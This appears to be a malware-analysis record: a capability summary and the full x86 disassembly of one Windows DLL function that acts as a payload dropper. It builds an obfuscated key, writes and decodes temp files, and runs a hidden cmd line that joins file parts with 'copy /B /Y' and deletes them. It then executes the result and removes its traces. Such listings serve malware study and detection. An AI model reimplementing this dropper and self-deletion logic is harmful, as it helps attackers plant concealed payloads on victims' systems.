Function at 0x10001060
Capabilities:
Contain obfuscated stackstrings
Create directory
Create process on windows
Delete file
Get common file path
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x13f4
call fcn.100509a0
mov eax, dword [0x1007f1e0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
mov dword [0x100823ec], eax
mov ecx, dword [ebp + 0x14]
mov dword [0x100823e8], ecx
mov edx, dword [ebp + 0x10]
mov dword [0x100823e4], edx
mov eax, dword [ebp + 8]
mov dword [0x10081fd8], eax
push 0x100823f8
call fcn.1000acc0
mov byte [ebp - 0xa78], 0
push 0x103
push 0
lea ecx, [ebp - 0xa77]
push ecx
call fcn.1004f300
add esp, 0xc
lea edx, [ebp - 0xa78]
push edx
call fcn.1000acc0
mov byte [ebp - 0x11e8], 0
push 0x103
push 0
lea eax, [ebp - 0x11e7]
push eax
call fcn.1004f300
add esp, 0xc
lea ecx, [ebp - 0x11e8]
push ecx
call fcn.1000acc0
mov byte [ebp - 0x1390], 0
push 0x103
push 0
lea edx, [ebp - 0x138f]
push edx
call fcn.1004f300
add esp, 0xc
lea eax, [ebp - 0x1390]
push eax
call fcn.1000acc0
lea ecx, [ebp - 0x1281]
call fcn.1000a0e0
lea ecx, [ebp - 0x3b4]
call fcn.1000b9c0
mov dword [ebp - 0x1398], 0
jmp 0x1000114f
mov ecx, dword [ebp - 0x1398]
add ecx, 1
mov dword [ebp - 0x1398], ecx
cmp dword [ebp - 0x1398], 3
jge 0x10001186
push 4
lea edx, [ebp - 0x3b4]
push edx
push 0x100823f8
lea ecx, [ebp - 0x1281]
call fcn.10007ca0
mov byte [ebp - 0x1279], al
movzx eax, byte [ebp - 0x1279]
test eax, eax
je 0x10001184
jmp 0x10001186
jmp 0x10001140
movzx ecx, byte [ebp - 0x1279]
test ecx, ecx
jne 0x100011b6
push str.1781
call fcn.1000ad20
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
lea ecx, [ebp - 0x2f0]
call fcn.100020b0
push 0x104
lea ecx, [ebp - 0x2f0]
call fcn.100020f0
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x2f0]
call fcn.10002110
lea ecx, [ebp - 0x31c]
call fcn.100020b0
push 0x104
lea ecx, [ebp - 0x31c]
call fcn.100020f0
push eax
push 0
push 0x1007a644
lea ecx, [ebp - 0x2f0]
call fcn.10001030
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0xb88], eax
cmp dword [ebp - 0xb88], 0
jne 0x10001269
push str.1782
call fcn.1000ad20
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
push 0xffffffffffffffff
lea ecx, [ebp - 0x31c]
call fcn.10002110
lea ecx, [ebp - 0x31c]
call fcn.10001030
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea ecx, [ebp - 0x31c]
call fcn.10001030
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x100012db
push str.1783
call fcn.1000ad20
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
push str.data.tmp
push 0x1007a664
lea edx, [ebp - 0x31c]
push edx
call fcn.100044a0
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x31c]
call fcn.10001030
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x96c], eax
cmp dword [ebp - 0x96c], 0xffffffff
jne 0x1000135f
push str.1784
call fcn.1000ad20
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
mov dword [ebp - 0xb84], 0
push 0
lea eax, [ebp - 0xb84]
push eax
lea ecx, [ebp - 0x3b4]
call fcn.10001040
push eax
lea ecx, [ebp - 0x3b4]
call fcn.10001030
push eax
mov ecx, dword [ebp - 0x96c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x96c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x314], 0x30
mov byte [ebp - 0x308], 0x36
mov byte [ebp - 0x30b], 0x35
mov byte [ebp - 0x2f8], 0
mov byte [ebp - 0x2fa], 0x38
mov byte [ebp - 0x306], 0x36
mov byte [ebp - 0x2f9], 0x63
mov byte [ebp - 0x30f], 0x32
mov byte [ebp - 0x313], 0x35
mov byte [ebp - 0x2ff], 0x62
mov byte [ebp - 0x305], 0x63
mov byte [ebp - 0x30e], 0x30
mov byte [ebp - 0x307], 0x33
mov byte [ebp - 0x30d], 0x35
mov byte [ebp - 0x310], 0x64
mov byte [ebp - 0x302], 0x61
mov byte [ebp - 0x30c], 0x33
mov byte [ebp - 0x309], 0x34
mov byte [ebp - 0x304], 0x31
mov byte [ebp - 0x2fe], 0x37
mov byte [ebp - 0x301], 0x31
mov byte [ebp - 0x316], 0x66
mov byte [ebp - 0x30a], 0x35
mov byte [ebp - 0x315], 0x33
mov byte [ebp - 0x2fb], 0x63
mov byte [ebp - 0x2fd], 0x65
mov byte [ebp - 0x303], 0x36
mov byte [ebp - 0x312], 0x34
mov byte [ebp - 0x318], 0x39
mov byte [ebp - 0x311], 0x38
mov byte [ebp - 0x300], 0x37
mov byte [ebp - 0x2fc], 0x65
mov byte [ebp - 0x317], 0x64
mov dword [ebp - 0x3ac], 0
push 1
lea ecx, [ebp - 0x958]
call fcn.10002180
push 0x40
push 0x21
lea ecx, [ebp - 0x31c]
call fcn.10001030
push eax
lea ecx, [ebp - 0x958]
call fcn.100022c0
lea ecx, [ebp - 0x958]
call fcn.100022a0
movzx eax, al
test eax, eax
jne 0x1000150b
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
push 2
push 0
lea ecx, [ebp - 0x958]
call fcn.10001fc0
lea ecx, [ebp - 0x13b0]
push ecx
lea ecx, [ebp - 0x958]
call fcn.10002050
mov ecx, eax
call fcn.10002160
mov dword [ebp - 0x3ac], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x13b4], esp
push 0
call fcn.10007160
lea ecx, [ebp - 0x958]
call fcn.10001f10
mov edx, dword [ebp - 0x3ac]
push edx
call fcn.1004c3a9
add esp, 4
mov dword [ebp - 0x13b8], eax
mov eax, dword [ebp - 0x13b8]
mov dword [ebp - 0x2ec], eax
mov ecx, dword [ebp - 0x3ac]
push ecx
mov edx, dword [ebp - 0x2ec]
push edx
lea ecx, [ebp - 0x958]
call fcn.10001ef0
lea ecx, [ebp - 0x958]
call fcn.10002310
lea ecx, [ebp - 0x31c]
call fcn.10001030
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x1278], 0
mov eax, dword [ebp - 0x3ac]
push eax
call fcn.1004c3a9
add esp, 4
mov dword [ebp - 0x13bc], eax
mov ecx, dword [ebp - 0x13bc]
mov dword [ebp - 0x1394], ecx
lea ecx, [ebp - 0x2e8]
call fcn.10011da0
mov byte [ebp - 0x2e8], 0
lea edx, [ebp - 0x318]
push edx
lea ecx, [ebp - 0x13dc]
call fcn.10007120
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x13c0], esp
push 0x1007743a
call fcn.10007120
lea eax, [ebp - 0x13dc]
push eax
lea ecx, [ebp - 0x2e8]
call fcn.10011e60
lea ecx, [ebp - 0x13dc]
call fcn.10007350
lea ecx, [ebp - 0x1278]
push ecx
mov edx, dword [ebp - 0x1394]
push edx
mov eax, dword [ebp - 0x3ac]
push eax
mov ecx, dword [ebp - 0x2ec]
push ecx
lea ecx, [ebp - 0x2e8]
call fcn.10012000
mov byte [ebp - 0x2f1], al
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x13e0], edx
mov eax, dword [ebp - 0x13e0]
push eax
call fcn.1004d4f1
add esp, 4
movzx ecx, byte [ebp - 0x2f1]
test ecx, ecx
jne 0x100016d2
push str.1785
call fcn.1000ad20
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
mov dword [ebp - 0x970], 0x400
mov edx, dword [ebp - 0x970]
push edx
call fcn.1004c3a9
add esp, 4
mov dword [ebp - 0x13e4], eax
mov eax, dword [ebp - 0x13e4]
mov dword [ebp - 0x1280], eax
mov ecx, dword [ebp - 0x970]
push ecx
mov edx, dword [ebp - 0x1394]
push edx
mov eax, dword [ebp - 0x1280]
push eax
call fcn.1004ff70
add esp, 0xc
mov ecx, dword [ebp - 0x1278]
sub ecx, 0x400
mov dword [ebp - 0x10dc], ecx
mov edx, dword [ebp - 0x10dc]
push edx
call fcn.1004c3a9
add esp, 4
mov dword [ebp - 0x13e8], eax
mov eax, dword [ebp - 0x13e8]
mov dword [ebp - 0x320], eax
mov ecx, dword [ebp - 0x10dc]
push ecx
mov edx, dword [ebp - 0x1394]
add edx, 0x400
push edx
mov eax, dword [ebp - 0x320]
push eax
call fcn.1004ff70
add esp, 0xc
mov ecx, dword [ebp - 0x1394]
mov dword [ebp - 0x13ec], ecx
mov edx, dword [ebp - 0x13ec]
push edx
call fcn.1004d4f1
add esp, 4
mov byte [ebp - 0xb80], 0
push 0x103
push 0
lea eax, [ebp - 0xb7f]
push eax
call fcn.1004f300
add esp, 0xc
mov byte [ebp - 0x10d8], 0
push 0x103
push 0
lea ecx, [ebp - 0x10d7]
push ecx
call fcn.1004f300
add esp, 0xc
mov byte [ebp - 0x8c8], 0
push 0x103
push 0
lea edx, [ebp - 0x8c7]
push edx
call fcn.1004f300
add esp, 0xc
mov dword [ebp - 0x1274], 0
mov dword [ebp - 0x7bc], 0
lea eax, [ebp - 0xb80]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x1274], eax
cmp dword [ebp - 0x1274], 0x104
ja 0x10001823
cmp dword [ebp - 0x1274], 0
jne 0x10001874
push 0x1007a678
call fcn.1000ad20
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
lea ecx, [ebp - 0x10d8]
push ecx
push 0
push 0x1007743b
lea edx, [ebp - 0xb80]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
jne 0x100018ef
push 0x1007a680
call fcn.1000ad20
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
lea eax, [ebp - 0x8c8]
push eax
push 0
push 0x10077442
lea ecx, [ebp - 0xb80]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0x7bc], eax
cmp dword [ebp - 0x7bc], 0
jne 0x1000196a
push str.1786
call fcn.1000ad20
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x10d8]
push edx
lea ecx, [ebp - 0x1270]
call fcn.10002ee0
mov eax, dword [ebp - 0x970]
push eax
mov ecx, dword [ebp - 0x1280]
push ecx
lea ecx, [ebp - 0x1270]
call fcn.10001de0
lea ecx, [ebp - 0x1270]
call fcn.10003040
mov edx, dword [ebp - 0x1280]
mov dword [ebp - 0x13f0], edx
mov eax, dword [ebp - 0x13f0]
push eax
call fcn.1004d4f1
add esp, 4
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x8c8]
push ecx
lea ecx, [ebp - 0x3a8]
call fcn.10002ee0
mov edx, dword [ebp - 0x10dc]
push edx
mov eax, dword [ebp - 0x320]
push eax
lea ecx, [ebp - 0x3a8]
call fcn.10001de0
lea ecx, [ebp - 0x3a8]
call fcn.10003040
mov ecx, dword [ebp - 0x320]
mov dword [ebp - 0x13f4], ecx
mov edx, dword [ebp - 0x13f4]
push edx
call fcn.1004d4f1
add esp, 4
xor eax, eax
mov dword [ebp - 0x968], eax
mov dword [ebp - 0x964], eax
mov dword [ebp - 0x960], eax
mov dword [ebp - 0x95c], eax
push 0x44
push 0
lea ecx, [ebp - 0xfd0]
push ecx
call fcn.1004f300
add esp, 0xc
mov dword [ebp - 0xfd0], 0x44
mov dword [ebp - 0xfa4], 1
xor edx, edx
mov word [ebp - 0xfa0], dx
mov byte [ebp - 0x7b8], 0
push 0x3ff
push 0
lea eax, [ebp - 0x7b7]
push eax
call fcn.1004f300
add esp, 0xc
lea ecx, [ebp - 0x8c8]
push ecx
lea edx, [ebp - 0x10d8]
push edx
lea eax, [ebp - 0xa78]
push eax
lea ecx, [ebp - 0x8c8]
push ecx
lea edx, [ebp - 0x10d8]
push edx
push str.cmd__d__c_timeout_1__cmd__d__c_copy__B__Y___s___s____s___cmd__d__c_del___s___cmd__d__c_del___s_
push 0x400
lea eax, [ebp - 0x7b8]
push eax
call fcn.1004d579
add esp, 0x20
lea ecx, [ebp - 0x968]
push ecx
lea edx, [ebp - 0xfd0]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x7b8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10001b52
push str.1787
call fcn.1000ad20
lea ecx, [ebp - 0x3a8]
call fcn.10001db0
lea ecx, [ebp - 0x1270]
call fcn.10001db0
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x968]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0x968]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x964]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
mov dword [ebp - 0x968], ecx
mov dword [ebp - 0x964], ecx
mov dword [ebp - 0x960], ecx
mov dword [ebp - 0x95c], ecx
push 0x44
push 0
lea edx, [ebp - 0xfd0]
push edx
call fcn.1004f300
add esp, 0xc
mov dword [ebp - 0xfd0], 0x44
mov byte [ebp - 0xf88], 0
push 0x3ff
push 0
lea eax, [ebp - 0xf87]
push eax
call fcn.1004f300
add esp, 0xc
lea ecx, [ebp - 0x11e8]
push ecx
lea edx, [ebp - 0xa78]
push edx
push str.__s___s
push 0x400
lea eax, [ebp - 0xf88]
push eax
call fcn.1004d579
add esp, 0x14
lea ecx, [ebp - 0x968]
push ecx
lea edx, [ebp - 0xfd0]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xf88]
push eax
lea ecx, [ebp - 0xa78]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10001c8f
push str.1788
call fcn.1000ad20
lea ecx, [ebp - 0x3a8]
call fcn.10001db0
lea ecx, [ebp - 0x1270]
call fcn.10001db0
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
jmp 0x10001d33
movsx edx, byte [ebp - 0x1390]
cmp edx, 0x31
jne 0x10001cd1
push 0xffffffffffffffff
mov eax, dword [ebp - 0x968]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0x968]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0x964]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xa78]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.1789
call fcn.1000ad20
lea ecx, [ebp - 0x3a8]
call fcn.10001db0
lea ecx, [ebp - 0x1270]
call fcn.10001db0
lea ecx, [ebp - 0x2e8]
call fcn.10001d80
lea ecx, [ebp - 0x958]
call fcn.10001d50
lea ecx, [ebp - 0x31c]
call fcn.100020d0
lea ecx, [ebp - 0x2f0]
call fcn.100020d0
lea ecx, [ebp - 0x3b4]
call fcn.10001000
lea ecx, [ebp - 0x1281]
call fcn.1000ac40
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004d073
mov esp, ebp
pop ebp
ret